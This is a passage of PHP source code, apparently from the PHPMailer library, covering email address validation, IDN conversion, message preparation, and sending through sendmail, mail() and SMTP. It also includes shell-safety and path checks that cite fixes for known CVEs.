                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
